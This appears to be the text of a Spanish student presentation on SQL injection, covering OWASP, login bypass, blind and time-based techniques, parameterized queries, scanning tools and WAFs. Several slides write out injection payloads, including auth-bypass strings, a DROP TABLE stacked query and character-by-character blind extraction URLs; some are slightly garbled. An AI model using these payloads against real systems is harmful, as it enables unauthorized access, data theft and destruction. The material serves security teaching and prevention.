El documento trata sobre seguridad de la información y SQL injection. Explica conceptos básicos de SQL e introduce el tema de OWASP y qué es una SQL injection. Luego cubre tipos de SQL injection, prevención de ataques, herramientas WAF y una demostración.

1. Seguridad de la información
SQL
injection
Preparado por:
Carlos Rodríguez
José Moreno
Jesús Montenegro

2. SQL
Agenda
1-Conceptos Básicos de SQL
2-OWASP
3-¿Qués es SQLi?
4-Bypass Login
5-Tipos de Sql Injection
6-Prevención de Ataques
7-WAF
8-Demostración

3. SQL
Conceptos
SQL
Es la sigla para Structure Query Languaje (Lenguaje estructurado de consultas) es
un lenguaje declarativo de acceso a bases de datos relacionales que permite
especificar diversos tipos de operaciones en ellas. Una de sus características es el
manejo del álgebra y el cálculo relacional que permiten efectuar consultas con el fin
de recuperar, de forma sencilla, información de bases de datos, así como hacer
cambios en ellas. Apareció en 1974 desarrollado en IBM y diseñado por Donald
Chamberlin.
Lenguaje de Programación
En aplicaciones web que usan base de datos para manejar ( X ) operaciones, estos
son aplicaciones que permiten diseñar y estructurar el flujo de acontecimientos
necesarios para que un usuario final pueda interactuar con la información de la base
de datos del servidor.
A nivel web algunos lenguajes de programación destacados son:
Lenguajes de programación
PHP Perl Phyton Java
Ruby JavaScript C# Visual Basic
Arquitecturas interactivas
HTML5 CSS
XML Ajax

4. SQL
Conceptos
Motor de base de datos
Conocidos tambien como sistema de gestión de base de datos (SGBD) es un
conjuntos de programas que permite la gestión, almacenamiento, modificación y
extracción de información de una base de datos. Permite la administración de
usuarios, de base de datos, permisos de las funciones que tiene cada usuario y sobre
los componentes de las bases de datos, etc.
Algunos sistemas de gestión de base de datos conocidos son:
Microsoft Sql Server SYBASE ORACLE MySQL
Xploit
Del inglés “Explotar/Aprovechar”, fragmento de datos/software o secuencia de
comandos para aprovechar una vulnerabilidad de seguridad de un sistema de
información para conseguir un comportamiento no deseado del mismo.
Formas script virus gusanos
Clasificación de Xploits
Remoto Se usa en una red para tener contacto con el sistema víctima.
Local Si antes se necesita tener acceso a un sistema vulnerable para
conseguir privilegios.
Client Side Necesitan intervención de usuario de lado del cliente.

5. SQL
OWASP
Es la sigla para Open Web Application Security Project (Proyecto abierto de seguridad
de aplicaciones web) se dedica a determinar y combatirlas causas que hacen que el
software sea inseguro y que empezó operaciones en el 2001.
En 2004 se crea la fundación OWASP integrada por empresas e instituciones
educativas de todo el mundo.
Comunidad de seguridad informática que provee: artículos, metodologías,
documentación, herramientas y tecnologías de forma gratuita.
Proyectos Destacados:
Proyectos de documentación
Guia OWASP Guía de pruebas
OWASP top 10 ISO17799
Métricas AppSec FAQ
Legal
Proyectos de desarrollo
Web Scarab
Filtros de validación
WebGoat
DotNet

6. SQL
SQL Injection
¿Que es?
Método de infiltración de código intruso que se vale de una vulnerabilidad informática
presente en una aplicación a nivel de validación de entradas para realizar
operaciones sobre una base de datos.
El origen de la vulnerabilidad en el incorrecto chequeo / filtrado / validación de
variables utilizadas en un programa que contiene o genera código SQL.
¿Que se puede lograr con un ataque por inyección SQL?
● Leer información sencible desde la base de datos del servidor de la aplicación.
● Modificar la información con instrucciones (Insert/ Update/ Delete).
● Ejecutar instrucciones de administrador sobre la base de datos (detener el motor
de base datos).
● Recuperar el contenido de un determinado archivo presente sobre el sistema de
archivos del DBMS.
● En algunos casos emitir comandos al sistema operativo.
! Esta considerada como uno de los top 10 ataques según la OWASP.
Tipos Inyección SQL Inyección SQL a ciegas

7. SQL
SQL Injection
Factores afectados producto de una inyección SQL
Confidencialidad: las bases de datos generalmente guardan información sensible
por lo que la pérdida de confiabilidad se vuelve frecuente.
Autenticación: las consultas SQL pobres para validar nombre de usuarios y
contraseñas hace posible conectarse al sistema sin requerimiento de la contraseña.
Autorización: si las autorizaciones sobre una plataforma de software estan en una
base de datos es posible cambiar las reglas por medio de manipulacion de la
información por inyección SQL.
Integridad: asi como es posible leer información sensible, tambien es posible
cambiar o borrar por medio de una ataque.
Factores de riesgo
● El lenguaje SQL
● La plataforma de software que puede ser cualquiera que requiera una interacción
con base de datos.

8. SQL
Implementaciones técnicas – Login bypass
● Caracteres de ESCAPE filtrados incorrectamente
Este tipo de ataque ocurre cuando un campo de entrada de datos no tiene filtros
para caracteres de escape, entonces este pasa a una declaración SQL, resultando
en una potencial manipulación de la base de datos por el usuario final.
Líneas de prueba: pagina web que solicita usuario y contraseña para ingresar.
Credenciales válidas
usuario admin ron
contraseña admin ron
CASO 1: el usuario es admin y la contraseña admin
Lo que ve SQL: SELECT * FROM users WHERE name='tom' and password='tom'
Resultado: si ambos elementos son encontrados el usuario es autenticado.
CASO 2: el usuario es admin y la contraseña es una comilla simple ( ' )
Lo que ve SQL: SELECT FROM users WHERE name='tom' and password='''
Resultado: la página envía mensaje de error si ningun mensaje de error es
especificado.

9. SQL
Implementaciones técnicas – login bypass
CASO 3: el usuario es admin y la contraseña ' or '1'='1
Lo que ve SQL: SELECT * FROM users WHERE name='tom' and password='' or '1'='1'
Resultado: el usuario si es admin y la contraseña no es ( '' ) pero el (OR '1'='1') es
tomado como válido. De esta forma el usuario se autentica.
CASO 4: el usuario es admin y la contraseña ' or 1='1
Lo que ve SQL: SELECT FROM users WHERE name='tom' and password='' or 1='1'
Resultado: como el caso anterior solo que en este caso vemos que valida (1 = '1') que
sql toma como válido también.
CASO 5: el usuario es ' or '1'='1 y la contraseña ' or 1='1
Lo que ve SQL: SELECT FROM users WHERE name='' or '1'='1' and password='' or
1='1'
Resultado: como el CASO 3 pero tanto en el usuario como la contraseña no se validan
en SQL.
CASO 6: el usuario es ' or 1 = 1 -- y la contraseña es blah
Lo que ve SQL: SELECT FROM users WHERE name='' or '1'='1' -- and password =
'blah'.
Resultado: el usuario no se valida y la instrucción que valida la contraseña se
comenta.

10. SQL
Implementaciones técnicas – login bypass
● Manejo incorrecto de tipos de datos
Este tipo de ataque ocurre cuando campos de texto presentado al usuario no esta
fuertemente limitado a tipo de dato que debe ser introducido o no está validado para
comprobar el tipo de entrada de datos.
Ejemplo
Una variable de cadena que guarda la cadena de la consulta SQL que se va a hacer.
statement := "SELECT * FROM userinfo WHERE id =" + a_variable + ";"
Donde a_variable es una cadena que guarda el valor que un usuario escribe en un
campo de texto, en este caso sería de nombre de usuario.
En el campo de texto un atacante podría escribir algo como:
a_variable := '1; drop table users'
Al ejecutarse la cadena de la variable statement SQL interpretara lo siguiente:
SELECT * FROM userinfo WHERE id = 1; DROP TABLE users;

11. SQL
Diagrama de Explicación Sql Injection

12. SQL
Diagrama de Bypass Login

13. SQL
Tabla Cheat to Sheet

14. SQL
Blind SQL injection
En este tipo de ataques el atacante nunca puede acceder a los resultados que
devuelve la consulta porque la aplicación no los imprime. Sin embargo se puede
apreciar un comportamiento distinto ante consultas que devuelven datos y consultas
que no devuelven datos. A partir de este comportamiento distinto se intenta inyectar
lógica para extraer la información en base a valores True o False.
Ejemplo: probar diferentes formas para obtener un resultado.
www.vuln-web.com/photo.php?id=1/
Ningún error, la página web cargó normalmente
www.vuln-web.com/photo.php?id=1'
Ningún error, la página web cargó normalmente
www.vuln-web.com/photo.php?id=1'
Ningún error, pero se observa un comportamiento diferente a los intentos anteriores.
www.vuln-web.com/photo.php?id=1'--
Ningún error, pero el pequeño cambio aun se manifiesta
www.vuln-web.com/photo.php?id=1' and false%23
La página no cargó como lo hace normalmente y la consulta no retornó nada.

15. SQL
2 Way Blind SQL injection
Son técnicas para obtener información a través de inyección SQL a ciegas.
Uso de la función ASCII y substring:
Hace una busqueda en la que la página web se recarga continuamente cuando
encuentra un caracter de lo que se busca y genera error si no encuentra. Esta
aplcación se usa también en xploits.
Ejemplo:
www.vuln-web.com/photo.php?id=1' and and Ascii(substring((Select table_name
from information_schema.tables where table_schema=database() limit
0,1),1,1))=106%23
False
www.vuln-web.com/photo.php?id=1' and and Ascii(substring((Select table_name
from information_schema.tables where table_schema=database() limit
0,1),1,1))=107%23
False
www.vuln-web.com/photo.php?id=1' and and Ascii(substring((Select table_name
from information_schema.tables where table_schema=database() limit
0,1),1,1))=108%23
True

16. SQL
2 Way Blind SQL injection
Uso de la base de datos dummy DUAL y la sentencia Like:
Dual es una base datos presente en varios Motores de base de datos y esta creada
para pruebas y la sentencia Like se usa en lugar del operador =.
Ejemplo: Obteniendo el nombre de la base de datos
Paso 1: Obteniendo la cantidad de caracteres del nombre la base de datos
www.vuln-web.com/photo.php?id=1' and (select 1 from dual where database() like
'_______')%23
True
Paso 2: Verificar que caracteres estan presente en el nombre.
www.vuln-web.com/photo.php?id=1' and (select 1 from dual where database() like
'%e%')%23
True, ordenar los caracteres obtenidos, armar el nombre.
Paso 3: Verificar el nombre de la base de datos
www.vuln-web.com/photo.php?id=1' and (select 1 from dual where database() =
'dbase_1')%23
True

17. SQL
Blind SQL injection basado en tiempos
Aplicaciones que utilizan funciones SQL propias del motor de base de datos para
generar letargos de cierto tiempo de tal forma que si lo que se quiere es saber cierta
información como una contraseña, el ataque se puede hacer generando el letargo
cada vez que se coincida con uno de los caracteres de esa contraseña.

18. SQL
Blind SQL injection Consultas pesadas
En aplicaciones web que tienen incluso controles de seguridad contra inyección SQL
y sobre las funciones que generen letargos de tiempos ante respuestas positivas, es
posible que estas sean manipuladas mediante las técnicas de consultas pesadas que
se encargan de forzar el motor de la base de datos que generen retardos de tiempo
ante respuestas positivas.
Por ejemplo el motor de base de datos de Microsoft Acess no tiene de por si
funciones de letargo pero a través de instrucciones como el where, or, if exists, etc.
Su información puede ser obtenida o manipulada).

19. SQL
Medidas de prevención contra ataques
● Escapar caracteres especiales utilizados en la consultas SQL
● Delimitar los valores de la consulta
● Verificar siempre los datos que introduce el usuario
● Asignar minimos privilegios a usuarios que se va a conectar a la base de
datos
● Programar bien

20. SQL
Programación: Consultas parametrizadas
Instrucción(es) que pasan a la consulta SQL un conjunto prederminado de
caracteres y evita la directa concatenación de las variables a la consulta.
Connection conexion = null;
PreparedStatement sentencia = null;
ResultSet rs = null;
boolean valido = false;
try {
Class.forName("com.mysql.jdbc.Driver");
conexion =
DriverManager.getConnection("jdbc:mysql://localhost:3306/arquitecturajava","root
","blog");
String consulta = "select nombre from Usuarios where nombre =? and clave =?";
sentencia = conexion.prepareStatement(consulta);
sentencia.setString(1, nombre);
sentencia.setString(2, clave);
rs = sentencia.executeQuery();
if (rs.next())
valido = true;
En la consulta se utiliza el caracter ( ? ) para definir la posición en que estará cada
uno de los caracteres de entrada.
Así, la consulta es primero precompilada para mas adelante recibir los valores de los
parámetros pero sin posibilidad de que la consulta (tablas ,índices y joins) sea

21. SQL
Ejemplo PHP de Consultas Parametrizadas

22. SQL
Herramientas de análisis
Herramienta de pruebas de código abierto que automatiza el proceso de detectar y
explorar los errores de inyección SQL.
SQLiHelper 2.7 SQL Injection
SQLMap
Pangolin
Su utilidad es facilitar la extracción de información procedente de bases de datos
utilizando para ello técnicas de inyección SQL. Una vez indicada la url que queremos
analizar, la aplicación realizará peticiones inyectando código SQL con el fin de
comprobar si es realmente vulnerable.
Herramienta de pago que ofrece más posibilidades que la del punto anterior y que
está destinada a descubrir vulnerabilidades tanto del tipo inyección SQL como
inyección SQL ciego.
Son herramientas para el análisis de código que ponen a prueba nuestras
aplicaciones en busca de vulnerabilidades por inyección SQL.

23. SQL
WAF (Web Application Firewall)
Un firewall de aplicaciones Web (WAF) es un aparato, plugin de servidor, o el filtro
que se aplica un conjunto de reglas a una conversación HTTP. En general, estas
reglas cubren ataques comunes tales como cross-site scripting (XSS) y SQL
injection. Mediante la personalización de las reglas para su aplicación, muchos
ataques pueden ser identificados y bloqueados. El esfuerzo para llevar a cabo
esta personalización puede ser significativo y debe ser mantenido como se
modifica la aplicación.

24. SQL
Bibliografía
Herramientas de analisis de codigo SQL injection
http://pressroom.hostalia.com/white-papers/ataques-inyeccion-sql
Declaraciones parametrizadas
http://www.arquitecturajava.com/sql-injection-y-consultas-preparadas-24/
Consultas parametrizadas PHP
http://uno-de-piera.com/consultas-parametrizadas-con-php-pdo/
Tecnicas avanzadas con Blind SQL injection
http://www.elladodelmal.com/2007/11/tcnicas-avanzadas-en-blind-sql.html
Inyeccion SQL de owasp
https://www.owasp.org/index.php/Inyecci%C3%B3n_SQL
Sistema de gestión de base de datos
https://es.wikipedia.org/wiki/Sistema_de_gesti%C3%B3n_de_bases_de_datos
Xploits
https://es.wikipedia.org/wiki/Exploit
Implementaciones técnicas
http://sechow.com/bricks/docs/login-1.html
Capture the Flag
http://sourceforge.net/projects/lampsecurity/files/
http://highsec.es/que-es-un-ctf/
Login Bypass
http://securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.html
Sqlmap
https://github.com/sqlmapproject/sqlmap

25. SQL
¡ Gracias !